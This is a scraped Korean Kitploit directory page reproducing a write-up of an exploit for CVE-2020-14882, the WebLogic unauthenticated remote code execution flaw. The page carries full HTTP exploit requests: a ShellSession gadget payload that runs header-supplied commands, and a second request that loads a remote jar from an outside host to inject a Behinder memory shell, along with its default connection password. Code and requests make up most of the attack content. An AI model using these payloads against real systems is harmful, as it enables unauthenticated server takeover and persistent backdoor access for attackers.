Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-14882 — CVE-2020-14882(WebLogic 비인증 RCE)용 익스플로잇으로, URLClassLoader 및 ShellSession 가젯을 통한 메모리 셸 배포를 지원하여 원격 명령 실행과 지속적 접근을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/kk98kk0/cve-2020-14882
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubkk98kk0/cve-2020-14882

CVE-2020-14882

CVE-2020-14882(WebLogic 비인증 RCE)용 익스플로잇으로, URLClassLoader 및 ShellSession 가젯을 통한 메모리 셸 배포를 지원하여 원격 명령 실행과 지속적 접근을 가능하게 합니다.

저장소 보기
3215년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-14882를 이용한 Behinder(冰蝎) 메모리 셸 배포

널리 알려져 있듯이 CVE-2020-14882는 비인증 취약점으로, 공격자는 이 취약점을 이용해 영향을 받는 WebLogic Server에서 임의 코드를 실행할 수 있습니다. 공개된 POC는 비정상 문자를 통해 접근을 우회한 다음 Gadget을 호출하여 명령을 실행합니다. 실제 운영 환경과 레드팀 공격에서는 단순히 명령을 실행하는 것만으로는 부족합니다. 이때 비인증 취약점을 통해 추가로 악용하여 메모리 셸을 배포하는 방법이 특히 중요해집니다.

취약점 분석 글은 인터넷에 이미 많이 있습니다. 핵심은 이중 인코딩 문제이며, 공개된 실행 코드 POC를 바로 살펴보겠습니다:

root@kitploit:~
POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182

_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')

현재 명령 실행 결과를 확인할 수 있는 버전은 WebLogic 12.2.1 이상뿐입니다. 10.3.6에는 해당 클래스가 존재하지 않기 때문입니다. 이 버전은 com.tangosol.coherence.mvel2.sh.ShellSession 가젯을 통해 임의 코드를 실행한다는 것을 알 수 있습니다. 따라서 java.net.URLClassLoader를 이용해 악성 클래스를 로드하여 메모리 셸을 주입할 수 있습니다. URLClassLoader는 ClassLoader의 구현 클래스로, 로컬에서 바이너리 파일 클래스를 로드할 수 있을 뿐만 아니라 원격에서도 클래스를 로드할 수 있습니다.

Weblogic Behinder(冰蝎) 메모리 셸 image.png jar로 패키징하여 생성 image.png 그런 다음 com.tangosol.coherence.mvel2.sh.ShellSession 가젯을 통해 URLClassLoader를 호출하여 원격으로 로드합니다. 코드는 다음과 같습니다:

root@kitploit:~
com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");

전체 Exp

root@kitploit:~
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0


image.png image.png Behinder 연결 비밀번호: rebeyond

image.png

참고: 기본 버전의 Behinder는 메모리 셸을 지원하지 않습니다.

참고 링크:

https://xz.aliyun.com/t/8202

https://www.cnblogs.com/potatsoSec/p/13895120.html

도구 다운로드